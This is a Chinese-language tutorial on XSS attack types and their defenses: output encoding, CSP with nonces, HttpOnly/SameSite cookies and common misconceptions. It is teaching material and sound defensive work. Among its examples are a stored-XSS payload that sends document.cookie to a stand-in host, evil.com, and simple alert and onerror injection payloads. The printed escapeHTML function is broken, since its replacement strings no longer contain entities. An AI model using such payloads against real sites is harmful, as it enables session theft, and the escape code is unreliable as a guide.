XSS攻击与防御深度解析
存储型/反射型/DOM 型 XSS 实战攻防,CSP + 输出编码 + HttpOnly 三层防御。
一句话概括
XSS(Cross-Site Scripting)就是让攻击者把恶意脚本注入你的页面,在用户浏览器里执行——窃取 Cookie、劫持操作、钓鱼。防御三件套:输出编码(HTML/JS/URL 各自不同)、CSP(Content Security Policy)、HttpOnly Cookie。
核心知识点
1. 三种 XSS:从哪注入的?
存储型(Stored):攻击者把恶意脚本存入数据库(评论/用户资料),受害者每次浏览页面都自动执行。危害最大,影响所有访客。
1
2
3
<!-- 攻击者在评论里存了这段 -->
评论内容:<script>fetch('https://evil.com/steal?c=' + document.cookie)</script>
<!-- 每个访问评论列表的用户 Cookie 被偷 -->
反射型(Reflected):恶意脚本在 URL 参数里,服务端回显时未编码直接插入 HTML 返回。需诱导用户点击链接。
1
2
https://site.com/search?q=<script>alert(1)</script>
<!-- 搜索结果页直接回显 q 参数 → XSS -->
DOM 型:全程在浏览器端触发——JS 把 URL hash 或 localStorage 插入 DOM 时未转义。
1
2
3
// ❌ 危险:直接 innerHTML 不可信内容
document.getElementById('msg').innerHTML = location.hash.slice(1);
// 访问 https://site.com#<img src=x onerror=alert(1)> → XSS!
2. 输出编码:不同上下文用不同转义
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// HTML 上下文 → 转义 < > " ' &
function escapeHTML(str) {
return str.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// JS 上下文(把用户数据放进 <script> 里)→ 转义得更狠
// JSON.stringify 比手写转义安全——它自动处理换行/引号/反斜杠
const userData = JSON.stringify(untrustedInput); // 安全!
// URL 上下文 → encodeURIComponent
const safe = encodeURIComponent(userInput);
关键原则:用 textContent 而非 innerHTML,用 safe 属性的 API(如 React 的 JSX 自动转义),用 DOMPurify 清洗富文本。
3. CSP:浏览器级别的防火墙
1
2
<!-- HTTP 响应头(推荐,比 meta 标签更安全) -->
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-random123'; style-src 'self' 'unsafe-inline'; img-src *; connect-src 'self' https://api.example.com
script-src 'self':只允许加载同源 JS,禁止内联<script>和eval()'nonce-xxx':给合法内联脚本打上随机 nonce,变了就拒绝。每次请求 nonce 不同,攻击者猜不到'strict-dynamic':允许已信任脚本动态创建的脚本(如 webpack 的代码分割),但要确保加载链安全report-uri / report-to:违规时上报到指定端点,做监控用
1
2
3
4
<!-- nonce 用法 -->
Content-Security-Policy: script-src 'nonce-r@nd0m'
<script nonce="r@nd0m">/* 这个能执行 */</script>
<script>/* 没有 nonce → 被 CSP 拦截! */</script>
4. HttpOnly + SameSite Cookie
1
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
HttpOnly:JS 无法通过document.cookie读取,即使 XSS 成功也偷不走 sessionSecure:仅 HTTPS 传输SameSite=Strict:跨站请求不携带 Cookie,防 CSRF 也防部分 XSS 利用
5. 防御清单
- ✅ 输出编码:HTML 用
textContent,URL 用encodeURIComponent,富文本用 DOMPurify - ✅ CSP:
script-src 'self'+nonce或 hash,禁止'unsafe-inline' - ✅ HttpOnly Cookie:session token 必须 HttpOnly
- ✅ 避免危险 API:不用
eval()/new Function()/setTimeout(string)/innerHTML - ✅ 输入验证:白名单校验(只允许已知安全字符),而非黑名单(永远猜不全攻击向量)
- ✅
X-Content-Type-Options: nosniff:禁止浏览器 MIME 嗅探,防止把纯文本当 HTML 执行
其实你每天都在用
- React JSX:
<div>{userInput}</div>自动转义 HTML,天然防 XSS(除非用dangerouslySetInnerHTML) - Vue 的
{ { } }:自动文本插值,不会当成 HTML 解释 - Chrome DevTools → Network → Response Headers:看 CSP 头是否配置
- CSP Evaluator(Google 在线工具):检查你的 CSP 配置有没有漏洞
- GitHub/B站/知乎的评论:都经过了 XSS 过滤,你提交
<script>会被转义展示而不是执行
常见误解(FAQ)
❌ 误区一:”用 encodeURIComponent 就能防 XSS”
encodeURIComponent 只能安全地放进 URL 参数。把结果放进 HTML 属性或 JS 字符串照样可能被利用。不同上下文要不同编码——没有”万能转义函数”。
❌ 误区二:”CSP script-src 'self' 就够了”
'self' 允许所有同源的 JS,如果攻击者能把恶意 JS 上传到你的同源 CDN(JSONP 劫持、上传接口未校验),一样能执行。nonce + strict-dynamic 是更严厉的方案。
❌ 误区三:”有了 HttpOnly Cookie,XSS 就没危害了”
HttpOnly 防窃取 Cookie,但攻击者仍可在受害者浏览器中:发起 CSRF 修改账户信息、劫持表单提交、自动发帖、重定向到钓鱼页面、注入键盘记录器。XSS 的危害远超偷 Cookie。
❌ 误区四:”WAF(Web应用防火墙)能拦截所有 XSS”
WAF 用规则匹配,但绕过技巧层出不穷——编码变形(\x3c)、Unicode 变形、协议混淆(javascript:)。WAF 是辅助,不能替代输出编码和 CSP。
一句话总结
XSS 的本质是”用户的输入被当成了代码执行”。防御公式 = 永远编码不可信内容 + CSP 限制可执行脚本来源 + HttpOnly 保护敏感凭证——三层缺一不可。